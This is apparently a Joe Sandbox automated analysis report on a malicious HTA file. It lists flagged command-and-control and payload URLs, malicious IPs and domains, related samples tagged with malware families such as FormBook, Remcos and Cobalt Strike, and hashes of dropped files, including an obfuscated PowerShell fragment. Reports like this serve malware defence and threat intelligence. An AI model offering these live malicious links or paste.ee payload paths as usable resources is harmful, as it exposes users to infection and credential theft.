http://www.inastra.online/Toyota_Avensis.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rls	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.svg#montserrat-bold	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://analytics.paste.ee;	powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/js/min.js?v2.3	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.inastra.online/__media__/js/trademark.php?d=inastra.online&type=ns	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.inastra.online/2019_Toyota_Land_Cruiser.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEX	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.inastra.online/__media__/design/underconstructionnotice.php?d=inastra.online	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://themes.googleusercontent.com	powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.187.200	paste.ee	United States	13335	CLOUDFLARENETUS	false
104.21.31.249	www.aaavvejibej.bond	United States	13335	CLOUDFLARENETUS	true
151.101.1.137	cloudinary.map.fastly.net	United States	54113	FASTLYUS	false
107.172.44.175	unknown	United States	36352	AS-COLOCROSSINGUS	true
208.91.197.27	www.inastra.online	Virgin Islands (BRITISH)	40034	CONFLUENCE-NETWORK-INCVG	true
3.33.130.190	deikamalaharris.info	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574255
Start date and time:	2024-12-13 07:37:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.winHTA@22/17@7/6
EGA Information:	Successful, ratio: 71.4%
HCA Information:	Successful, ratio: 97% Number of executed functions: 118 Number of non-executed functions: 272
Cookbook Comments:	Found application associated with file extension: .hta

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 40.126.53.14, 52.182.143.212, 13.107.246.63, 4.245.163.56
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target mshta.exe, PID 1088 because there are no executed function
Execution Graph export aborted for target xwZkSdnVCDBnu.exe, PID 3948 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:38:15	API Interceptor	111x Sleep call for process: powershell.exe modified
01:39:35	API Interceptor	914008x Sleep call for process: ieUnatt.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.187.200	geHxbPNEMi.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/1QtpX
	MT103-8819006.DOCS.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/rYCH1
	LETA_pdf.vbs	Get hash	malicious	AsyncRAT, PureLog Stealer	Browse	paste.ee/d/0jfAN
	PO 2725724312_pdf.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/tiRif
	EWW.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/gFlKP
	ODC#PO 4500628950098574654323567875765674433##633.xla.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/JxxYu
	Purchase Order PO0193832.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/Bpplq
	Name.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/0kkOm
	517209487.vbs	Get hash	malicious	XWorm	Browse	paste.ee/d/s0kJG
	screen_shots.vbs	Get hash	malicious	XWorm	Browse	paste.ee/d/GoCAw
104.21.31.249	maybecreatebesthingswithgreatnicewhichgivenbreakingthingstobe.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	www.aaavvejibej.bond/j82t/
151.101.1.137	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse
	stage2.ps1	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse
	nicegirlforyou.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse
	Invoice A037.xls	Get hash	malicious	Unknown	Browse
	Orden_de_Compra_Nmero_6782929219.xls	Get hash	malicious	HTMLPhisher	Browse
	Aktarma,pdf.vbs	Get hash	malicious	Remcos	Browse
	16547.js	Get hash	malicious	MassLogger RAT	Browse
	#U041f#U043b#U0430#U0449#U0430#U043d#U0435.docx	Get hash	malicious	Remcos	Browse
	nr101612_Order.wsf	Get hash	malicious	Remcos	Browse
	1013911.js	Get hash	malicious	FormBook	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.inastra.online	maybecreatebesthingswithgreatnicewhichgivenbreakingthingstobe.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	208.91.197.27
	SGS-Report0201024.xla.xlsx	Get hash	malicious	FormBook	Browse	208.91.197.27
	SOA-INV0892024.xla.xlsx	Get hash	malicious	FormBook	Browse	208.91.197.27
	seethebstthingstogetwithentirethingstobegret.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	208.91.197.27
	New PO-RFQ14101524.xla.xlsx	Get hash	malicious	FormBook	Browse	208.91.197.27
	7v8szLCQAn.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
	SHIPPING_DOCUMENTS.VBS.vbs	Get hash	malicious	FormBook	Browse	208.91.197.27
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	208.91.197.27
	Amended Proforma #U2013 SMWD5043.exe	Get hash	malicious	FormBook	Browse	208.91.197.27
paste.ee	Cot90012ARCACONTAL.xls	Get hash	malicious	Remcos	Browse	188.114.97.6
	SOA USD67,353.35.xla.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.6
	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	188.114.96.6
	print preview.js	Get hash	malicious	FormBook	Browse	172.67.187.200
	nicegirlforyou.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	104.21.84.67
	invoice09850.xls	Get hash	malicious	Remcos	Browse	188.114.97.6
	Invoice A037.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	104.21.84.67
	NESTLE_MEXICO_Purchase_Order_10122024.xls	Get hash	malicious	Unknown	Browse	188.114.97.6
www.aaavvejibej.bond	maybecreatebesthingswithgreatnicewhichgivenbreakingthingstobe.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	104.21.31.249
	SGS-Report0201024.xla.xlsx	Get hash	malicious	FormBook	Browse	104.21.31.249
	seethebstthingstogetwithentirethingstobegret.hta	Get hash	malicious	Cobalt Strike, FormBook	Browse	172.67.181.150
	foljNJ4bug.exe	Get hash	malicious	FormBook	Browse	172.67.181.150
	JsPTv7s4Fn.exe	Get hash	malicious	FormBook	Browse	172.67.181.150
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	172.67.181.150
	PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	172.67.181.150
	SHIPPING_DOCUMENTS.VBS.vbs	Get hash	malicious	FormBook	Browse	172.67.181.150
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	172.67.181.150
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	172.67.181.150
cloudinary.map.fastly.net	Cot90012ARCACONTAL.xls	Get hash	malicious	Remcos	Browse	151.101.129.137
	Euro confirmation Sp.xls	Get hash	malicious	Unknown	Browse	151.101.1.137
	stage2.ps1	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse	151.101.193.137
	nicegirlforyou.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	151.101.1.137
	invoice09850.xls	Get hash	malicious	Remcos	Browse	151.101.65.137
	Invoice A037.xls	Get hash	malicious	Unknown	Browse	151.101.1.137
	Plugin81139.js	Get hash	malicious	PureLog Stealer, RevengeRAT, zgRAT	Browse	151.101.129.137
	PO-8776-2024.js	Get hash	malicious	Remcos	Browse	151.101.129.137
	New Order Enquiry.js	Get hash	malicious	AgentTesla	Browse	151.101.193.137
	NESTLE_MEXICO_Purchase_Order_10122024.xls	Get hash	malicious	Unknown	Browse	151.101.65.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://link.mail.beehiiv.com/ls/click?upn=u001.R74aO5UQ-2FrUOGP4XJV77OKQT1NAU9BwQ6OP1zvOna2j3qRTjcdTYAqprTXNbU1vrKPOdnlpDlbO1ohrNKAkzUmdLI4l19yBq8cKvYb8dsNKK6IsO0404WADpCgMHJK-2BM7ePj1I7t27EBUyeaiqRuwqngyTjrFDMwzKEm6VF8ExY0iFbvMWKjDk4Y7upRdq5sSY4nXTsFeij7Q5E2ydkS65V1Y39RLDjY80Udth17NgVFYK9r3RCAH09UYk2CIjxFd5I9_j6TOopR0rmB-2FAe-2FAtMIxxpgCP1uVymDZ2Ai3kvTmy94R9Cva2dqhTbcrX0jwqqIbWEZoY75Qxv0d-2Fi-2BJ58G8TpFK32hJ3Y6KvVmw024fgWikUvw7JSpe1p1AxJouHIwzH-2B4WSy6DMsQxGcoT2TOfGxh3ObD4vtK9CAXwy7Cjhf2-2FwG571nv3bia-2F44CMLr9lsCQcs3SwvYIDQ24Nq6VfvIfUFJ9nNyI7I5MS5J8-2Bg5rLnAjlWoLmJBScJaNhqffuqYHWE3BYOKju8i7o1wD6Pw-2Fs92sFC2Mh7Oi9oheY1ZKD714qAu5jG5ZYhyhfMgCcuyNvp15ZI4Srd3AOfDL686JQJNBXoqAuLGHc3y6muY0dxN9oNJrp8vksovnjs-2Be8S30MoUUfcAPp8UPZjIomKd3EBkrVIa3k8AgkBS-2BZFp3F1x23PdTLWCU-2BZmxkQxWt	Get hash	malicious	Unknown	Browse	104.21.90.56
	https://link.mail.beehiiv.com/ls/click?upn=u001.8ULyQR0JYqJFmtAcEKOwZJrtx6Pg-2FFIdL75Xr8cQplPy1BwMP6K04UCj8Y6BqsqIO5QCbkskm97LegF2duW8h-2B7y0wF2E-2BDZNcbzCPIVszT1GD6EOVy0YRZV55MI3rlD0kPZAiaJ0IK1-2FMU2lgPk2Kii32mX86fkDuIDK9GPx4-2FfuyI6JAqdMrtQqIbvs2W-2F-2BIG8MDRxPU9Yn0AWIxVL0SnsGrwak4PiVtMHHZHgth0QvNVoRM6ZTwXBytJNkde3jx-2F-2Fb-2FvT1Ap71VQ1QzJzKA-3D-3DWb3t_K8Qrv2qBC50DA374Af0scmFKIlSM-2Bv5ewezTCdQ-2FHdeUjmHtY3NrJD1TBTC8B4zB5HyIT-2F4sQexLT4eDcDNpHTw1Uv6zyerCF2l6Qv2QnUXIFi1vgFIVZbyXm-2Fb4OHwN5YbpoyTJNqIBeZHgSrlo7M6ZizbyF9nigOzGQDcMUgYHM7Aiblgmi6ZZqeS-2F4eQTcSMrquYcXkgDnpAgjrAXvqys7q9tGDujdSY7rWu7e2v-2B8ZqylkvKbnTnsoe7xpWX2CCdK7-2Ffs69cITr47FLMcG63ztEATsgzr65zgaz1vTV637p-2F932w2jeo6Q6M5CBc8nQ-2BvnbtLXdWgwvebkWZFeKaDHxfFr3YWnPUF1sWMZ4N238r82opSIcsBiifBW-2Fr-2FX6QykqaNBEmm5OGxvGQOo2rDQ3a45-2FO4v08XQIdNTDu5CkpvASiHt5MqJZ9OHD4	Get hash	malicious	Unknown	Browse	104.21.90.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.35.43
	http://18.224.21.137/FFmnpShhHMMWeIqsVa2rJ69xinQlZ-7450	Get hash	malicious	Unknown	Browse	172.67.196.220
	https://grupoescobar.com.br/AA/auth.html#yk.cho@hdel.co.kr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.139.78
	CMR ART009.docx	Get hash	malicious	Unknown	Browse	104.21.34.183
	CMR ART009.docx	Get hash	malicious	Unknown	Browse	104.21.34.183
	http://sourceforge.net/projects/nircmd/files/nircmd-x64.zip/download	Get hash	malicious	Unknown	Browse	104.18.5.227
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	104.21.79.7
CLOUDFLARENETUS	https://link.mail.beehiiv.com/ls/click?upn=u001.R74aO5UQ-2FrUOGP4XJV77OKQT1NAU9BwQ6OP1zvOna2j3qRTjcdTYAqprTXNbU1vrKPOdnlpDlbO1ohrNKAkzUmdLI4l19yBq8cKvYb8dsNKK6IsO0404WADpCgMHJK-2BM7ePj1I7t27EBUyeaiqRuwqngyTjrFDMwzKEm6VF8ExY0iFbvMWKjDk4Y7upRdq5sSY4nXTsFeij7Q5E2ydkS65V1Y39RLDjY80Udth17NgVFYK9r3RCAH09UYk2CIjxFd5I9_j6TOopR0rmB-2FAe-2FAtMIxxpgCP1uVymDZ2Ai3kvTmy94R9Cva2dqhTbcrX0jwqqIbWEZoY75Qxv0d-2Fi-2BJ58G8TpFK32hJ3Y6KvVmw024fgWikUvw7JSpe1p1AxJouHIwzH-2B4WSy6DMsQxGcoT2TOfGxh3ObD4vtK9CAXwy7Cjhf2-2FwG571nv3bia-2F44CMLr9lsCQcs3SwvYIDQ24Nq6VfvIfUFJ9nNyI7I5MS5J8-2Bg5rLnAjlWoLmJBScJaNhqffuqYHWE3BYOKju8i7o1wD6Pw-2Fs92sFC2Mh7Oi9oheY1ZKD714qAu5jG5ZYhyhfMgCcuyNvp15ZI4Srd3AOfDL686JQJNBXoqAuLGHc3y6muY0dxN9oNJrp8vksovnjs-2Be8S30MoUUfcAPp8UPZjIomKd3EBkrVIa3k8AgkBS-2BZFp3F1x23PdTLWCU-2BZmxkQxWt	Get hash	malicious	Unknown	Browse	104.21.90.56
	https://link.mail.beehiiv.com/ls/click?upn=u001.8ULyQR0JYqJFmtAcEKOwZJrtx6Pg-2FFIdL75Xr8cQplPy1BwMP6K04UCj8Y6BqsqIO5QCbkskm97LegF2duW8h-2B7y0wF2E-2BDZNcbzCPIVszT1GD6EOVy0YRZV55MI3rlD0kPZAiaJ0IK1-2FMU2lgPk2Kii32mX86fkDuIDK9GPx4-2FfuyI6JAqdMrtQqIbvs2W-2F-2BIG8MDRxPU9Yn0AWIxVL0SnsGrwak4PiVtMHHZHgth0QvNVoRM6ZTwXBytJNkde3jx-2F-2Fb-2FvT1Ap71VQ1QzJzKA-3D-3DWb3t_K8Qrv2qBC50DA374Af0scmFKIlSM-2Bv5ewezTCdQ-2FHdeUjmHtY3NrJD1TBTC8B4zB5HyIT-2F4sQexLT4eDcDNpHTw1Uv6zyerCF2l6Qv2QnUXIFi1vgFIVZbyXm-2Fb4OHwN5YbpoyTJNqIBeZHgSrlo7M6ZizbyF9nigOzGQDcMUgYHM7Aiblgmi6ZZqeS-2F4eQTcSMrquYcXkgDnpAgjrAXvqys7q9tGDujdSY7rWu7e2v-2B8ZqylkvKbnTnsoe7xpWX2CCdK7-2Ffs69cITr47FLMcG63ztEATsgzr65zgaz1vTV637p-2F932w2jeo6Q6M5CBc8nQ-2BvnbtLXdWgwvebkWZFeKaDHxfFr3YWnPUF1sWMZ4N238r82opSIcsBiifBW-2Fr-2FX6QykqaNBEmm5OGxvGQOo2rDQ3a45-2FO4v08XQIdNTDu5CkpvASiHt5MqJZ9OHD4	Get hash	malicious	Unknown	Browse	104.21.90.56
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.35.43
	http://18.224.21.137/FFmnpShhHMMWeIqsVa2rJ69xinQlZ-7450	Get hash	malicious	Unknown	Browse	172.67.196.220
	https://grupoescobar.com.br/AA/auth.html#yk.cho@hdel.co.kr	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.139.78
	CMR ART009.docx	Get hash	malicious	Unknown	Browse	104.21.34.183
	CMR ART009.docx	Get hash	malicious	Unknown	Browse	104.21.34.183
	http://sourceforge.net/projects/nircmd/files/nircmd-x64.zip/download	Get hash	malicious	Unknown	Browse	104.18.5.227
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	104.21.79.7

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	172.67.187.200 151.101.1.137
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.187.200 151.101.1.137
	ShareGate.24.12.1.msi	Get hash	malicious	Unknown	Browse	172.67.187.200 151.101.1.137
	http://mavenclinic.quatrix.it	Get hash	malicious	Unknown	Browse	172.67.187.200 151.101.1.137
	c2.hta	Get hash	malicious	XWorm	Browse	172.67.187.200 151.101.1.137
	Hydra.ccLoader.bat	Get hash	malicious	Unknown	Browse	172.67.187.200 151.101.1.137
	4JwhvqLe8n.exe	Get hash	malicious	Remcos	Browse	172.67.187.200 151.101.1.137
	full.exe	Get hash	malicious	Quasar	Browse	172.67.187.200 151.101.1.137
	fIPSLgT0lO.exe	Get hash	malicious	Remcos	Browse	172.67.187.200 151.101.1.137
	hoTwj68T1D.exe	Get hash	malicious	Unknown	Browse	172.67.187.200 151.101.1.137

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (3397), with CRLF line terminators
Category:	dropped
Size (bytes):	154312
Entropy (8bit):	3.806639108429499
Encrypted:	false
SSDEEP:	3072:puPqJg1SUqFVMcZjuPqJg1SUqFVMcRuPqJg1SUqFVMcP:pEq8SbOcZjEq8SbOcREq8SbOcP
MD5:	DB9CA30AC0C6D2526A780AB2E0AD8046
SHA1:	895B9150FB6B527C28155C466E10B553521C209B
SHA-256:	2BFEB2D07560A76ACC7181E72B31B8F758BE6300B81E9AAB7EB3157AE7E89730
SHA-512:	9994EA28C119620A70169B18CDA3D7F93083A352EE55A2BC72FB14EA125A67B5D2A93200A7D488D8B1712F39B3CE62B972471E2508269B9158A78E85E8B6374D
Malicious:	false
Preview:	...... . . . .....L.L.K.q.z.i.i.f.i.U.G.W.i.s.K. .=. .".g.c.u.N.p.a.p.p.i.q.f.z.l.x.n.".....P.h.U.m.f.h.N.j.S.h.p.v.W.k.m. .=. .".a.K.f.K.f.h.i.Z.O.t.n.p.p.a.Z.".....G.L.u.K.S.G.i.x.c.c.W.K.U.Q.W. .=. .".W.c.h.P.z.e.K.s.P.L.i.Z.K.h.N.".........W.L.T.C.W.d.U.p.U.G.N.K.W.h.u. .=. .".U.e.W.L.z.R.j.u.K.L.a.n.A.u.i.".....W.x.G.n.e.W.Z.R.U.A.W.k.K.f.W. .=. .".L.t.p.N.L.Z.k.C.h.N.d.i.q.W.i.".....k.L.m.c.W.J.K.G.J.c.L.k.P.b.v. .=. .".z.A.f.W.e.N.o.K.I.d.W.k.f.R.K.".....A.L.e.c.P.e.P.u.c.e.s.e.W.a.N. .=. .".d.Z.j.A.s.u.f.K.N.o.s.K.i.o.i.".....G.e.i.l.z.c.B.N.q.r.z.S.e.q.d. .=. .".i.o.K.W.r.L.P.v.m.q.o.L.j.H.z.".....n.h.d.W.S.G.c.z.P.W.W.l.i.c.W. .=. .".g.k.L.a.u.K.W.m.W.f.k.g.v.u.L.".....A.x.G.e.A.j.e.W.f.P.K.b.A.m.p. .=. .".W.n.G.W.W.K.K.o.K.K.x.K.i.I.z.".....b.L.L.h.i.K.k.g.o.K.b.b.o.I.b. .=. .".j.G.W.e.I.K.N.n.p.J.m.K.h.U.L.".....A.G.P.S.U.i.f.W.m.L.o.o.L.K.n. .=. .".G.k.L.Z.A.z.U.G.x.e.U.U.v.L.N.".....N.m.G.g.p.i.K.h.W.N.B.A.Z.h.c. .=. .".q.C.q.G.o.o.c.O.n.e.L.L.p.h.W.".....l.K.S.L.W.f.L.W.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	5.290848674040258
Encrypted:	false
SSDEEP:	24:32gSKco4KmZjKbmOIKod6emZ9tYs4RPQoUEJ0gt/NKM9rgd:GgSU4xympjmZ9tz4RIoUl8NF9C
MD5:	F262C231D15773CB65C99F7B6AD6A81C
SHA1:	5DE14E5014654D233C869A4CA47BACF3E1120A1D
SHA-256:	2A76444C5964969A6D590232EB13C41FA85F6D4DC94E693593A8681ED2C46581
SHA-512:	23A1D7849A86E9E619D942165F34196D00D7967493BBA5CDE78190F7E2055072F2AB0CD8081739D513FC4197592D621B5DE70FCC6DB80DA5B1BB564430583F9F
Malicious:	false
Preview:	@...e...........................................................@...............(..o...B.Rb&............Microsoft.VisualBasic...H...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...

C:\Users\user\AppData\Local\Temp\N78Im7H

Download File

Process:	C:\Windows\SysWOW64\ieUnatt.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
